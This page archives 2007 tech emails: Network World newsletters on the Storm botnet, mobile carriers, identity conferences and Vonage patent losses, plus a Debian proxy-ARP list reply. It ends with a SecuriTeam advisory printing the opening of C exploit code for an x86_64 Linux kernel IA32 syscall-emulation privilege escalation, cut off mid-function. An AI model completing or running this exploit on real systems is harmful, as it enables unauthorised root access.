Search This Blog

Monday, October 01, 2007

Storm: the largest botnet in the world?; New update breaks hacked iPhones

Network World

Security News Alert


Network World's Security News Alert, 10/01/07

Storm: the largest botnet in the world?, 09/27/07: Storm may not be the most creative or malicious piece of malware ever written, but it’s on track to become the most productive; threat researchers’ recent estimates put the number of PCs it has infected at more than 1 million.

Frequently asked question about Storm worm, 09/27/07: Is Storm really a worm, Trojan horse or something else entirely?

New update breaks hacked iPhones, 09/28/07: Users are reporting that a new update to Apple's iPhone is making previously unlocked iPhones unusable.

Straight Talk from Security Experts

Leading security experts share their advice, secrets and real-world experiences in Network World's latest Executive Guide, "The Security Treadmill." Learn how to get inside users' heads, fight for a bigger security budget and much more.

Click here to download this Executive Guide.

13 free tools ease IT management, 10/01/07: Finding the perfect tool to relieve a pain point or fill a gap can be invaluable to network managers. When the tool is free? Even better.

Number of malicious e-mails with bad links balloons 10-fold, 09/27/07: The percentage of threats arriving in e-mail that rely on links to malicious sites -- rather than arriving as a file attachment -- has ballooned 10-fold since the first quarter of the year, a security company said today.

Mac as security guard with Iris 1.0, 09/28/07: Your home or office Mac can keep an eye on things while you're out and about, thanks to MildMannered Industries application, Iris 1.0.

TODAY'S MOST-READ STORIES:

1. 2007 Salary survey: IT pay falls short
2. 'Radical rethinking' of Internet routing
3. Fun with Microsoft's Genuine Office Validation
4. Verizon reverses ban on abortion text messages
5. MIT pranksters give Harvard the Halo 3 treatment
6. NIST's 56 wicked cool advanced research projects
7. Google buys mobile social networking service
8. Gmail flaw allows attackers to steal messages
9. Rent A Cert, a good or bad idea?
10. IBM: Symphony downloaded 100K times

MOST-DOWNLOADED PODCAST:
Twisted Pair: Death, bombs and backups

Contact the author:

Senior Editor Ellen Messmer covers security for Network World. E-mail Ellen.

BONUS FEATURE

IT PRODUCT RESEARCH AT YOUR FINGERTIPS

Get detailed information on thousands of products, conduct side-by-side comparisons and read product test and review results with Network World’s IT Buyer’s Guides. Find the best solution faster than ever with over 100 distinct categories across the security, storage, management, wireless, infrastructure and convergence markets. Click here for details.

PRINT SUBSCRIPTIONS AVAILABLE
You've got the technology snapshot of your choice delivered to your inbox each day. Extend your knowledge with a print subscription to the Network World newsweekly, Apply here today.

International subscribers, click here.

SUBSCRIPTION SERVICES

To subscribe or unsubscribe to any Network World newsletter, change your e-mail address or contact us, click here.

This message was sent to: security.world@gmail.com. Please use this address when modifying your subscription.

Advertising information: Write to Associate Publisher Online Susan Cardoza

Network World, Inc., 118 Turnpike Road, Southborough, MA 01772

Copyright Network World, Inc., 2007

Posted by at 182 comments:

Walled gardens to come a-tumblin' down?

Network World

Wireless in the Enterprise


Network World's Wireless in the Enterprise Newsletter, 10/01/07

Walled gardens to come a-tumblin’ down?

By Joanie Wexler

The traditional U.S. cellular business model has long elevated mobile network operators to the status of the country’s exclusive cell-phone sales channel. However, that model is starting to crack.

Historically, U.S. carriers have subsidized the cost of handheld devices that work only on their own voice and/or data networks in return for a subscriber’s signature on a lengthy contract. The result has been that mobile phones have been locked to a given operator’s network, branded by that operator, and customized with the carrier’s user interface. The carrier has often disabled features built into the phone by the manufacturer and restricted access to mobile services and content other than its own offerings.

Some industry developments show signs that this model is starting to crumble. One was Nokia’s decision last year to open up its own U.S. retail stores and sell its handsets under its own brand rather that relying solely on the operator channel. Last month, the company also launched a Web-based mobile content, gaming, music and social networking portal, called Ovi, which bypasses the operators’ portals.

Network World and MEF introduce Carrier Ethernet for Business: The Birth of the New Global Network

It's replacing legacy services such as frame relay, ATM, and IP VPNs. It's delivering "infinite bandwidth ... new benchmarks for reliability ... immediate and substantial savings. Carrier Ethernet for Business: The Birth of the New Global Networkhttp://www.nww.com/rpgx.jsp?c=XU1PHA2812Z1713

Another indicator of changing times is the stated intent of Xohm, the Sprint Nextel WiMAX venture, to do away with device subsidies, required contracts and proprietary data services on its WiMAX network. Its plan is to allow customers to buy handsets at retail stores, activate their devices, connect to the network and select a daily, weekly, or monthly service plan over the air. Contracts would be for those interested in getting a discount on rates, Sprint Nextel CTO and Xohm head Barry West has stated publicly.

The open-access condition of forthcoming services to be delivered in part of the 700MHz band (to be auctioned off in January) follows the “unlocked” trend, too. Admittedly, Verizon Wireless is challenging the FCC 700MHz rules in federal appeals court as unconstitutional. And at press time, FCC chairman Kevin Martin was rumored to be caving into Verizon’s pressure and fighting for revisions. Stay tuned for how that plays out.


  What do you think?
Post a comment on this newsletter

TODAY'S MOST-READ STORIES:

1. 2007 Salary survey: IT pay falls short
2. 'Radical rethinking' of Internet routing
3. Fun with Microsoft's Genuine Office Validation
4. Verizon reverses ban on abortion text messages
5. MIT pranksters give Harvard the Halo 3 treatment
6. NIST's 56 wicked cool advanced research projects
7. Google buys mobile social networking service
8. Gmail flaw allows attackers to steal messages
9. Rent A Cert, a good or bad idea?
10. IBM: Symphony downloaded 100K times

MOST-DOWNLOADED PODCAST:
Twisted Pair: Death, bombs and backups

Contact the author:

Joanie Wexler is an independent networking technology writer/editor in California's Silicon Valley who has spent most of her career analyzing trends and news in the computer networking industry. She welcomes your comments on the articles published in this newsletter, as well as your ideas for future article topics. Reach her at joanie@jwexler.com.

ARCHIVE

Archive of the Wireless in the Enterprise Newsletter.

BONUS FEATURE

IT PRODUCT RESEARCH AT YOUR FINGERTIPS

Get detailed information on thousands of products, conduct side-by-side comparisons and read product test and review results with Network World’s IT Buyer’s Guides. Find the best solution faster than ever with over 100 distinct categories across the security, storage, management, wireless, infrastructure and convergence markets. Click here for details.

PRINT SUBSCRIPTIONS AVAILABLE
You've got the technology snapshot of your choice delivered to your inbox each day. Extend your knowledge with a print subscription to the Network World newsweekly, Apply here today.

International subscribers, click here.

SUBSCRIPTION SERVICES

To subscribe or unsubscribe to any Network World newsletter, change your e-mail address or contact us, click here.

This message was sent to: security.world@gmail.com. Please use this address when modifying your subscription.

Advertising information: Write to Associate Publisher Online Susan Cardoza

Network World, Inc., 118 Turnpike Road, Southborough, MA 01772

Copyright Network World, Inc., 2007

Posted by at No comments:

Identity shows galore

Network World

Security: Identity Management


Network World's Security: Identity Management Newsletter, 10/01/07

Identity shows galore

By Dave Kearns

Another Digital ID World has come and gone (this was the sixth annual event) and while much was familiar there was a different feel to the event. It was as if you were visiting old friends but in their new house. The furniture was recognizable, but the arrangement was quite different. It was last year that Digital ID World impresario Phil Becker decided that the logistics of show management were getting to be just too much for him. Or, more likely, for his delightful wife Kathie. So he made a deal with IDG.

<disclaimer>Network World is part of the IDG family.</disclaimer>

IDG does put on a lot of shows, so it’s understandable that there would be some “economies of scale” making them at least similar if not identical. There were some new and different vendors, some new features (meals within the trade show area) some missing features (the pre-show reception) and some different features (electronic surveys for the sessions). The one thing that didn’t change, though, was the content. That was still firmly controlled by Phil and his sidekick, Eric Norlin. Lots of real world experience presented to an enthusiastic audience with plenty of interaction. The speaker’s platform isn’t dominated by vendors or "talking heads," but by people on the front lines of the identity battles. May it always be that way.

Straight Talk from Security Experts

Leading security experts share their advice, secrets and real-world experiences in Network World's latest Executive Guide, "The Security Treadmill." Learn how to get inside users' heads, fight for a bigger security budget and much more.

Click here to download this Executive Guide.

In talking with people at the show, the thought that there are so many venues for identity these days came up. Digital ID World, of course. Catalyst and the RSA Conference (both the U.S. and European events) and now, OracleWorld. Even LinuxWorld is beginning to have an identity track. There’s the Gartner ID summit and the European Identity Conference.

There’s also the smaller, more targeted, shows such as NetPro’s Directory Experts Conference, the Marcus Evans events in the Asia-Pacific region as well as other regional events – or industry-specific events – throughout the U.S., the U.K., Europe and Asia. Finally, there are the “user group” style events – Courion’s has grown into a mini-trade show. I know I have trouble deciding which shows I’ll go to, what do you do? Unless you’re a vendor it’s likely you don’t have the travel budget to hit them all. So which shows do you try to get to, which do you wish you could get to and (for bonus credit) which do you avoid? Drop me a note at the address below and I’ll tabulate the results.

Probably the biggest news out of Digital ID World this year was the announcement by Orange, the mobile carrier arm of France Telecom, to adopt the OpenID registration/identification standard for its 40 million-plus subscribers. This is the first move by a mobile carrier into the OpenID space and simply reflects an undercurrent to the conversations at the show last week – mobile identity is the Next Big Thing. There’s still a lot of jockeying for position and a search for the “killer app” for mobile identity (the consensus I heard, though, was more along the lines of a “killer service”) but the mobile space is quite likely the next frontier, one we’ll explore in more depth before the year is out.

Upcoming events from the IdM Journal calendar:

Four interesting webinars are scheduled next week; at least one should be interesting to each of you –

* Oct. 9: A More Effective Approach to Securing Sensitive Enterprise Data
* Oct. 9: Service-based Identity and Access Management
* Oct. 9: Deploying Macs in the Enterprise
* Oct. 11: Security Design Patterns Using WS-Trust 


  What do you think?
Post a comment on this newsletter

TODAY'S MOST-READ STORIES:

1. 2007 Salary survey: IT pay falls short
2. 'Radical rethinking' of Internet routing
3. Fun with Microsoft's Genuine Office Validation
4. Verizon reverses ban on abortion text messages
5. MIT pranksters give Harvard the Halo 3 treatment
6. NIST's 56 wicked cool advanced research projects
7. Google buys mobile social networking service
8. Gmail flaw allows attackers to steal messages
9. Rent A Cert, a good or bad idea?
10. IBM: Symphony downloaded 100K times

MOST-DOWNLOADED PODCAST:
Twisted Pair: Death, bombs and backups

Contact the author:

Dave Kearns is the editor of IdM, the Journal of Identity Management as well as a consultant to both vendors and users of IdM technologies. He's written a number of books including the (sadly) now out of print "Complete Guide to eDirectory." His other musings can be found at the Virtual Quill, an Internet publisher which provides content services to network vendors: books, manuals, white papers, lectures and seminars, marketing, technical marketing and support documents. Virtual Quill provides "words to sell by..." Find out more by e-mail. Comments to this newsletter can be e-mailed to Dave here. 

ARCHIVE

Archive of the Security: Identity Management Newsletter.

BONUS FEATURE

IT PRODUCT RESEARCH AT YOUR FINGERTIPS

Get detailed information on thousands of products, conduct side-by-side comparisons and read product test and review results with Network World’s IT Buyer’s Guides. Find the best solution faster than ever with over 100 distinct categories across the security, storage, management, wireless, infrastructure and convergence markets. Click here for details.

PRINT SUBSCRIPTIONS AVAILABLE
You've got the technology snapshot of your choice delivered to your inbox each day. Extend your knowledge with a print subscription to the Network World newsweekly, Apply here today.

International subscribers, click here.

SUBSCRIPTION SERVICES

To subscribe or unsubscribe to any Network World newsletter, change your e-mail address or contact us, click here.

This message was sent to: security.world@gmail.com. Please use this address when modifying your subscription.

Advertising information: Write to Associate Publisher Online Susan Cardoza

Network World, Inc., 118 Turnpike Road, Southborough, MA 01772

Copyright Network World, Inc., 2007

Posted by at No comments:

Top 3 Solutions for Accelerating Applications

The following message is being sent to you from Network World.

Dear Security,

The relentless pressure to reduce costs, improve productivity, and meet regulatory requirements is driving significant enterprise trends: IT infrastructure consolidation and increased globalization of resources.

A successful solution to application performance problems must encompass three key areas. Download this report today to learn how Citrix can help your IT organization address these issues:

http://www.accelacomm.com/jlp/eMBlast_80143565_v1100107/7/80143565/

Sincerely,
Network World, Inc.


To stop receiving e-mail messages from Network World, do not reply to this e-mail. Instead, please go to our email preference management page at http://www.networkworld.com/nl/pclogin.jsp?email=security.world@gmail.com&code=citrix_cis_675_1001 where you can specify your email preferences and help ensure that we send only the appropriate communications you may be interested in. You may also write to Network World Inc. Attn: ONLINE, 118 Turnpike Road, Southborough, MA 01772.

Read Network World privacy policy http://networkworld.com/tos.html

Posted by at No comments:

Readers weigh in on management companies to watch

Network World

Network/Systems Management


Network World's Network/Systems Management Newsletter, 10/01/07

Readers weigh in on management companies to watch

By Denise Dubie

For many readers, Network World's series of stories on "companies to watch" seems to miss here and there when it comes to recognizing innovative vendors that address real issues in enterprise networks.

The topic came up in our online community in which readers posted the names of companies they feel would be worth watching. Among some of those listed in the forum were Apere, eG Innovations, Heroix, Netcordia, Nimsoft, Sphere Networks and XTS. While I suspect that at least a few of such posts come from the vendor public relations team, it still brings up a valid point. There are many companies worth watching, despite being more than a few years old and not as well-known as the four acro-heavy market leaders: BMC, CA, HP and IBM.

Several criteria come into play when considering companies to watch that may not be immediately obvious to customers thinking their vendor is truly one to watch. We consider the management team, what is their background? Do we have a former Tivoli Systems executive looking to build another successful start-up? We look to the customers. Has this technology been used yet and is it providing real value? We examine the technology vs. the market. Is this technology something that is in demand now? Does this vendor approach the market in a new and interesting way? And will the technology stand up to larger vendors offering similar products? And we do consider funding, which some people don’t understand, but in all honesty, the money can help talented engineers get their technology into products and out of the labs and into customer networks.

Executive Guide:Virtualization Meets Reality

Virtualization is being used to make the most out of everything from applications and servers to desktops and storage. But as companies expand their reliance on the technology, challenges mount. Read this guide authored by a host of Network World editors and review this timely topic.

Click Here for More Information

And considering that I personally write just a few of these stories per year in my various beats (including IT management and automation) it is difficult to mention all worthy contenders. Add to that the fact that management technology crosses all domains of IT including security, storage, applications, LAN, WAN and the process of winnowing down the named companies gets more complex.

But I wanted to share here some companies that were suggested to me by industry watchers and maybe give readers some more information on technologies to watch for their networks.

Forrester Research Senior Analyst Evelyn Hubbert suggested I take a closer look at Matrix42: "[This is] a company who does similar things to Altiris and Radia -- client and server configuration and change management. Established in Germany, it is trying to make it in the U.S."

Jasmine Noel, principal analyst at Ptak, Noel & Associates named a few vendors she found interesting. For instance, she says SignaCert has "the ability to validate software configuration even as the software is patched and moved around in a virtual environment, [which] significantly simplifies provisioning and compliance auditing."

Noel also pointed out GridApp, which brings data center automation capabilities to database management, and Onaro that offers storage management. She says, the companies separately "bring these silos more in line with the business service management movement that server, application and network management started."

Yankee Group Associate Analyst Vanessa Alvarez suggested I take a look at Men and Mice, which is "a small network management solution that focuses moreso on the security angle, but recently made an entry into the U.S. network management space and is also a viable solution for the midsize enterprise."

So while our formal lists of companies to watch are limited by specific selection criteria, I welcome any and all individuals to tell me the companies I should have on my radar and why.


  What do you think?
Post a comment on this newsletter

TODAY'S MOST-READ STORIES:

1. 2007 Salary survey: IT pay falls short
2. 'Radical rethinking' of Internet routing
3. Fun with Microsoft's Genuine Office Validation
4. Verizon reverses ban on abortion text messages
5. MIT pranksters give Harvard the Halo 3 treatment
6. NIST's 56 wicked cool advanced research projects
7. Google buys mobile social networking service
8. Gmail flaw allows attackers to steal messages
9. Rent A Cert, a good or bad idea?
10. IBM: Symphony downloaded 100K times

MOST-DOWNLOADED PODCAST:
Twisted Pair: Death, bombs and backups

Contact the author:

Senior Editor Denise Dubie covers the technologies, products and services that address network, systems, application and IT service management for Network World. E-mail Denise.

ARCHIVE

Archive of the Network/Systems Management Newsletter.

BONUS FEATURE

IT PRODUCT RESEARCH AT YOUR FINGERTIPS

Get detailed information on thousands of products, conduct side-by-side comparisons and read product test and review results with Network World’s IT Buyer’s Guides. Find the best solution faster than ever with over 100 distinct categories across the security, storage, management, wireless, infrastructure and convergence markets. Click here for details.

PRINT SUBSCRIPTIONS AVAILABLE
You've got the technology snapshot of your choice delivered to your inbox each day. Extend your knowledge with a print subscription to the Network World newsweekly, Apply here today.

International subscribers, click here.

SUBSCRIPTION SERVICES

To subscribe or unsubscribe to any Network World newsletter, change your e-mail address or contact us, click here.

This message was sent to: security.world@gmail.com. Please use this address when modifying your subscription.

Advertising information: Write to Associate Publisher Online Susan Cardoza

Network World, Inc., 118 Turnpike Road, Southborough, MA 01772

Copyright Network World, Inc., 2007

Posted by at No comments:

Elevator maker gets a lift out of VoIP; iPhone gets VoIP tryout

Network World

Convergence & VoIP News Alert


Network World's Convergence & VoIP News Alert, 10/01/07

Elevator maker gets a lift out of VoIP, 09/26/07: Switching to VoIP means less expensive management and maintenance for ThyssenKrupp’s telecom group, and it promises even more cost savings in the future for the elevator manufacturer.

iPhone gets VoIP tryout, 09/28/07: In a demonstration at this year’s DEMOfall07 convention, British VoIP provider Truphone showed conventioneers how to use the iPhone’s built-in WiFi capability to make calls over Truphone’s VoIP network.

Software lets Skype customers record conversations, 09/26/07: A new program developed by a Russian software company allows Skype users to record their phone conversations and save them on their computer as digital multimedia files.

Network World VoIP and Convergence Buyer's Guide

Find the right products for your enterprise - fast. Our extensive database of detailed product information will quickly help you pinpoint the hardware or software you need to build out a converged voice and data network. With the side-by-side comparison tool you can evaluate product features and make the best decision for your enterprise.

Click here to go to the Buyer's Guide now.

13 free tools ease IT management, 10/01/07: Finding the perfect tool to relieve a pain point or fill a gap can be invaluable to network managers. When the tool is free? Even better.

Vonage gets partial remand in Verizon case, 09/26/07: Vonage is downplaying an appeals court decision affirming an earlier verdict of patent infringement on two patents owned by Verizon.

TODAY'S MOST-READ STORIES:

1. 2007 Salary survey: IT pay falls short
2. 'Radical rethinking' of Internet routing
3. Fun with Microsoft's Genuine Office Validation
4. Verizon reverses ban on abortion text messages
5. MIT pranksters give Harvard the Halo 3 treatment
6. NIST's 56 wicked cool advanced research projects
7. Google buys mobile social networking service
8. Gmail flaw allows attackers to steal messages
9. Rent A Cert, a good or bad idea?
10. IBM: Symphony downloaded 100K times

MOST-DOWNLOADED PODCAST:
Twisted Pair: Death, bombs and backups

Contact the author:

Senior Editor Tim Greene covers VoIP carrier issues for Network World.

BONUS FEATURE

IT PRODUCT RESEARCH AT YOUR FINGERTIPS

Get detailed information on thousands of products, conduct side-by-side comparisons and read product test and review results with Network World’s IT Buyer’s Guides. Find the best solution faster than ever with over 100 distinct categories across the security, storage, management, wireless, infrastructure and convergence markets. Click here for details.

PRINT SUBSCRIPTIONS AVAILABLE
You've got the technology snapshot of your choice delivered to your inbox each day. Extend your knowledge with a print subscription to the Network World newsweekly, Apply here today.

International subscribers, click here.

SUBSCRIPTION SERVICES

To subscribe or unsubscribe to any Network World newsletter, change your e-mail address or contact us, click here.

This message was sent to: security.world@gmail.com. Please use this address when modifying your subscription.

Advertising information: Write to Associate Publisher Online Susan Cardoza

Network World, Inc., 118 Turnpike Road, Southborough, MA 01772

Copyright Network World, Inc., 2007

Posted by at No comments:

Vonage loses two patent cases in one week

Network World

Convergence & VoIP


Network World's Convergence & VoIP Newsletter, 10/01/07

Vonage loses two patent cases in one week

By Steve Taylor and Larry Hettick

Vonage was hit twice last week with bad news from its ongoing legal battles. On Tuesday a jury found that Vonage was guilty of infringing on patents owned by Sprint-Nextel. The jury awarded Sprint-Nextel $69.5 million in damages and a 5% royalty on future revenues. Vonage immediately announced it will appeal the case.

On Wednesday, Vonage lost again in its ongoing patent infringement suit filed by Verizon when a federal appeals court upheld parts of the March 2007 verdict and also upheld an injunction against Vonage from using the patented technology. When the higher court upheld the lower court’s injunction that prohibits Vonage from using the contested technology, it delayed the injunction by a month to give Vonage a chance to appeal the ruling to the U. S. Supreme Court. Vonage estimates that about 90% of its customers are already getting service based on a work-around that avoids the contested patents.

Vonage did get some relief in the Verizon case when the court found that one of the patent rulings involving wireless access to VoIP services was not properly construed by the lower court.

Network World VoIP and Convergence Buyer's Guide

Find the right products for your enterprise - fast. Our extensive database of detailed product information will quickly help you pinpoint the hardware or software you need to build out a converged voice and data network. With the side-by-side comparison tool you can evaluate product features and make the best decision for your enterprise.

Click here to go to the Buyer's Guide now.

The good news for Vonage is that when the higher court sent the Verizon case back to the lower court, it also vacated the $58 million damages and 5.5% royalty penalty imposed in the initial ruling, directing the trial court to reconsider the verdict and penalties. The bad news is that Vonage could still be liable for damage and royalty penalties once the lower court reconsiders the case.

But the worst news of all is that Vonage is still losing money and that the company only added 57,000 net subscribers for Q2 2007 – proving that it is facing increased competition from other VoIP providers like the cable companies that bundle VoIP with a triple-play package.

A glimmer of hope for Vonage: At least in the Sprint case, the jury didn’t issue any injunctions that prohibit Vonage from offering service to new or existing customers (as was the original case with Verizon) so Vonage won’t be required to find a technical work-around to stay in business.

Next time: Sprint makes news with femtocell-based fixed-mobile convergence.


  What do you think?
Post a comment on this newsletter

TODAY'S MOST-READ STORIES:

1. 2007 Salary survey: IT pay falls short
2. 'Radical rethinking' of Internet routing
3. Fun with Microsoft's Genuine Office Validation
4. Verizon reverses ban on abortion text messages
5. MIT pranksters give Harvard the Halo 3 treatment
6. NIST's 56 wicked cool advanced research projects
7. Google buys mobile social networking service
8. Gmail flaw allows attackers to steal messages
9. Rent A Cert, a good or bad idea?
10. IBM: Symphony downloaded 100K times

MOST-DOWNLOADED PODCAST:
Twisted Pair: Death, bombs and backups

Contact the author:

Steve Taylor is president of Distributed Networking Associates and publisher/editor-in-chief of Webtorials. For more detailed information on most of the topics discussed in this newsletter, connect to Webtorials, the premier site for Web-based educational presentations, white papers, and market research. Taylor can be reached at taylor@webtorials.com

Larry Hettick is an industry veteran with more than 20 years of experience in voice and data. He is Vice President for Telecom Services and Infrastructure at Current Analysis, the leading competitive response solutions company. He can be reached at lhettick@currentanalysis.com

ARCHIVE

Archive of the Convergence & VoIP Newsletter.

BONUS FEATURE

IT PRODUCT RESEARCH AT YOUR FINGERTIPS

Get detailed information on thousands of products, conduct side-by-side comparisons and read product test and review results with Network World’s IT Buyer’s Guides. Find the best solution faster than ever with over 100 distinct categories across the security, storage, management, wireless, infrastructure and convergence markets. Click here for details.

PRINT SUBSCRIPTIONS AVAILABLE
You've got the technology snapshot of your choice delivered to your inbox each day. Extend your knowledge with a print subscription to the Network World newsweekly, Apply here today.

International subscribers, click here.

SUBSCRIPTION SERVICES

To subscribe or unsubscribe to any Network World newsletter, change your e-mail address or contact us, click here.

This message was sent to: security.world@gmail.com. Please use this address when modifying your subscription.

Advertising information: Write to Associate Publisher Online Susan Cardoza

Network World, Inc., 118 Turnpike Road, Southborough, MA 01772

Copyright Network World, Inc., 2007

Posted by at No comments:

iPhone gets VoIP tryout; Chat with Amazon's CTO; Who will be the next Geek King?

Network World

Daily News: AM


Network World Daily News: AM, 10/01/07

IPHONE GETS VOIP TRYOUT
In a demonstration at this year’s DEMOfall07 convention, British VoIP provider Truphone showed conventioneers how to use the iPhone’s built-in WiFi capability to make calls over Truphone’s VoIP network.

WHO WILL BE THE NEXT GEEK KING (OR QUEEN)?
In July 2008 Bill Gates, arguably the greatest Geek King there ever was, will step down as leader of Microsoft. Surely we will continue to hear from him, but his departure from the software world leaves a great void in Geek culture. Who will replace him? Who has his stature? Who has his utter geekiness? Should the geeks be ruled by committee? Should geeks even be ruled?

13 FREE TOOLS EASE IT MANAGEMENT
Finding the perfect tool to relieve a pain point or fill a gap can be invaluable to network managers. When the tool is free? Even better.

Straight Talk from Security Experts

Leading security experts share their advice, secrets and real-world experiences in Network World's latest Executive Guide, "The Security Treadmill." Learn how to get inside users' heads, fight for a bigger security budget and much more.

Click here to download this Executive Guide.

3COM CUSTOMERS SHOULD ‘STAND PAT,’ ANALYSTS SAY
Customers should feel little impact from this week’s acquisition of 3Com by Huawei and Bain Capital, analysts say.

INTERNET TAX MORATORIUM BILL STALLS
A U.S. Senate committee has postponed action on a bill that would extend an Internet tax moratorium after it
expires Nov. 1.

WEB 2.0 START-UP TARGETS ENTERPRISE CUSTOMERS
A start-up called 360Hubs is tackling the Web 2.0 market with a set of collaboration, social networking, knowledge management and Web content ...

USERS PRY XP REPRIEVE FROM MICROSOFT
Microsoft, clearly getting an earful from corporate users over the rapid demise of XP to make way for Vista, has responded by committing to extend the availability of XP for another five months.

AVAYA SHAREHOLDERS APPROVE $8.2 BILLION PRIVATE EQUITY BUYOUT
Avaya stockholders last week approved the company’s $8.2 billion acquisition by two private equity firms.

LIVE CHAT

CHAT WITH AMAZON.COM’S CTO LIVE
If ever there were a man that knew how to eke out capacity and secure a data center, it would be Werner Vogels, vice president & CTO of Amazon.com. Join him for a live chat TODAY from 2 p.m. - 3 p.m. EDT. No registration is required.

BLOG

BUZZBLOG: WAS T-SHIRT SUSPENSION STORY A TEXAS TALL TALE?
It was all over the ‘Net last week: Digg, Reddit, DailyKos, etc. A Texas kid was suspended just for wearing a “John Edwards for President” T-shirt to school, or so we were told. However, the mainstream press has completely ignored the juicy story…presuming there was a real story there to ignore. As for the Edwards campaign, it didn’t reply to my inquiry about the tale, which started on a blog on the campaign’s Web site. The campaign did, however, use my newly harvested e-mail address to send me spam asking for a contribution.

TODAY'S MOST-READ STORIES:

1. 2007 Salary survey: IT pay falls short
2. 'Radical rethinking' of Internet routing
3. Fun with Microsoft's Genuine Office Validation
4. Verizon reverses ban on abortion text messages
5. MIT pranksters give Harvard the Halo 3 treatment
6. NIST's 56 wicked cool advanced research projects
7. Google buys mobile social networking service
8. Gmail flaw allows attackers to steal messages
9. Rent A Cert, a good or bad idea?
10. IBM: Symphony downloaded 100K times

MOST-DOWNLOADED PODCAST:
Twisted Pair: Death, bombs and backups

Contact the author:

Questions? Feedback? Contact NetworkWorld.com Site Editor Jeff Caruso.

BONUS FEATURE

IT PRODUCT RESEARCH AT YOUR FINGERTIPS

Get detailed information on thousands of products, conduct side-by-side comparisons and read product test and review results with Network World’s IT Buyer’s Guides. Find the best solution faster than ever with over 100 distinct categories across the security, storage, management, wireless, infrastructure and convergence markets. Click here for details.

PRINT SUBSCRIPTIONS AVAILABLE
You've got the technology snapshot of your choice delivered to your inbox each day. Extend your knowledge with a print subscription to the Network World newsweekly, Apply here today.

International subscribers, click here.

SUBSCRIPTION SERVICES

To subscribe or unsubscribe to any Network World newsletter, change your e-mail address or contact us, click here.

This message was sent to: security.world@gmail.com. Please use this address when modifying your subscription.

Advertising information: Write to Associate Publisher Online Susan Cardoza

Network World, Inc., 118 Turnpike Road, Southborough, MA 01772

Copyright Network World, Inc., 2007

Posted by at No comments:

WindowsNetworking.com - Monthly Article Update

WindowsNetworking.com - Monthly Article Update

Hi Security World,

New articles and tutorials added to WindowsNetworking.com last month:

Title: Deploying Data Protection Manager 2007 (Part 1)
Author: Anderson Patricio
Link: http://www.WindowsNetworking.com/articles_tutorials/Deploying-Data-Protection-Manager-2007-Part1.html
Summary: A high-level overview of Data Protection Manager 2007 beta 2 and how to deploy it.

Title: Acronis True Image Server - Voted WindowsNetworking.com Readers' Choice Award Winner - Backup Solution Category
Author: Site Admin
Link: http://www.WindowsNetworking.com/news/WindowsNetworking-Readers-Choice-Award-Backup-Solution-Acronis-True-Image-Server-Sept07.html
Summary: Acronis True Image Server was selected the winner in the Backup Solution Category of the WindowsNetworking.com Readers' Choice Awards. Veritas NetBackup and CA ARCserve Backup were first runner-up and second runner-up.

Title: Working With Network Monitor (Part 4)
Author: Brien M. Posey
Link: http://www.WindowsNetworking.com/articles_tutorials/Working-Network-Monitor-Part4.html
Summary: This article continues the Network Monitor series by examining various filtering techniques.

Title: Introduction to Internet Information Services 7.0
Author: Peter Schmidt
Link: http://www.WindowsNetworking.com/articles_tutorials/Introduction-Internet-Information-Services.html
Summary: The basics of Internet Information Services 7.0 also known as IIS 7.0. IIS 7.0 is the web server role in Windows Vista and Windows Server 2008.

Title: Group Policy Extensions in Windows Vista and Windows Server 2008, Part 3
Author: Brien M. Posey
Link: http://www.WindowsNetworking.com/articles_tutorials/Group-Policy-Extensions-Windows-Vista-Windows-Server-2008-Part3.html
Summary: Group policy settings that are unique to Windows Server 2008 and Windows Vista.

Title: Memory and Storage - Part 3: Bus Specifications
Author: Russell Hitchcock
Link: http://www.WindowsNetworking.com/articles_tutorials/Memory-Storage-Part3.html
Summary: Understanding how memory is connected to the CPU and how it can be manipulated.

Title: Win a Copy of Mitch Tulloch's Introducing Windows Server 2008!
Author: Site Admin
Link: http://www.WindowsNetworking.com/news/WindowsNetworking-Site-Survey-2007.html
Summary: We are offering WindowsNetworking.com visitors the opportunity to win a copy of Mitch Tulloch's book, Introducing Windows Server 2008.

Title: Networking Basics: Part 12 - User Account Management
Author: Brien M. Posey
Link: http://www.WindowsNetworking.com/articles_tutorials/Networking-Basics-Part12.html
Summary: How to create a user account and some basic user account management techniques.

Visit the Subscription Management (http://newsletter.isoftmarketing.com/) section to unsubscribe.
WindowsNetworking.com is in no way affiliated with Microsoft Corp.
For sponsorship information, contact us at advertising@WindowsNetworking.com

Copyright © WindowsNetworking.com 2007. All rights reserved.

Posted by at No comments:

Re: arp_proxy does not work with static DHCP/PERM arp ?

Wojciech Ziniewicz a écrit :
> 2007/9/30, Pascal Hambourg :
>
>>My guess is that the client checks that the offered IP address is not
>>already in use by issuing an ARP request and expecting no reply. When
>>the router has proxy_arp enabled, it replies to the ARP request so the
>>client believes the IP address is in use and declines the offer.
>
> It looks like You are right

However it is surprising that the router answers ARP requests for
addresses that are on the same side. This would not break only DHCP but
all ARP operation on the subnet.

> What would you advice to get rid of this sittuation ?
> I suppose that turning arp_proxy only on eth0 should work

I cannot give any advice without knowledge about your network layout, IP
subnets, routing tables, and what you need proxy ARP for.


--
To UNSUBSCRIBE, email to debian-firewall-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org

Posted by at No comments:

[EXPL] IA32 System Call Emulation Vulnerability (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html


- - - - - - - - -

IA32 System Call Emulation Vulnerability (Exploit)
------------------------------------------------------------------------


SUMMARY

Insufficient validation of general-purpose register in IA32 system call
emulation code may lead to local system compromise on x86_64 platform.

DETAILS

Exploit:
/*
* exploit for x86_64 linux kernel ia32syscall emulation
* bug, discovered by Wojciech Purczynski <cliph_at_isec.pl>
*
* by
* Robert Swiecki <robert_at_swiecki.net>
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
* Pawel Pisarczyk <pawel_at_immos.com.pl>
* of ATM-Lab http://www.atm-lab.pl

*/

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

uint32_t uid, euid, suid;

static void kernelmodecode(void)
{
int i;
uint8_t *gs;
uint32_t *ptr;

asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

for (i = 200; i < 1000; i+=1) {

ptr = (uint32_t*) (gs + i);

if ((ptr[0] == uid) && (ptr[1] == euid)
